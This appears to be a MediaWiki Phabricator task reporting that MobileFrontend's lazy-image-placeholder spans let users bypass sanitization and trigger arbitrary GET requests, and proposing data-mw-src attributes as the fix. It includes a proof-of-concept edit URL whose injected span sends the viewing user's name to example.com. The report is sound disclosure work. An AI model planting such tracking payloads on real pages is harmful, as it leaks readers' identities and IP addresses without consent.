== Background
Generally MediaWiki uses the threat model where we do not want users to be able to embed content that loads external resources. This is to prevent privacy leaks from web bugs, potentially leaking IP addresses or current page, etc
MobileFrontend has a feature where spans with class lasy-image-placeholder (e.g. `<span class="lazy-image-placeholder" data-width="100" data-height="100" data-src="https://example.com"> </span>` ) get replaced with image tags based on data attributes. User's can construct these allowing them to bypass some sanitization (enough to make an arbitrary GET request, not enough for XSS).
An example demonstrating this: https://m.mediawiki.org/w/index.php?title=Nonexistent-test-page48frin&action=edit&preloadtitle=%3Cspan+class%3D%22lazy-image-placeholder%22+data-width%3D%22100%22+data-height%3D%22100%22+data-src%3D%22https%3A%2F%2Fexample.com%2F%3Fuser%3D{{subst%3AREVISIONUSER}}%22%3E+%3C%2Fspan%3E&preview=yes§ion=new
Which when viewed will send the current user's name to example.com.
Longer term fix would be CSP
See also the slightly related task T147995
== User story
As an editor I want to view Wikipedia safely
== Requirements
[] Using data-mw-src (and so on for the other attributes) instead of data-src, as the mediawiki sanitizer forbids using attributes starting with data-mw.
[] For caching purposes, the frontend must support both initially to avoid image display breaking.
=== BDD
- For QA engineer to fill out
=== Test Steps
- For QA engineer to fill out
== Design
- Add mockups and design requirements
== Acceptance criteria
- Add acceptance criteria
== Communication criteria - does this need an announcement or discussion?
- Add communication criteria
== Rollback plan
- What is the rollback plan in production for this task if something goes wrong?
//This task was created by Version 1.3.0 of the [[ https://mediawiki.org/w/index.php?title=Reading/Web/Request_process | Web team task template ]] using [[ https://phabulous.toolforge.org/ | phabulous ]] //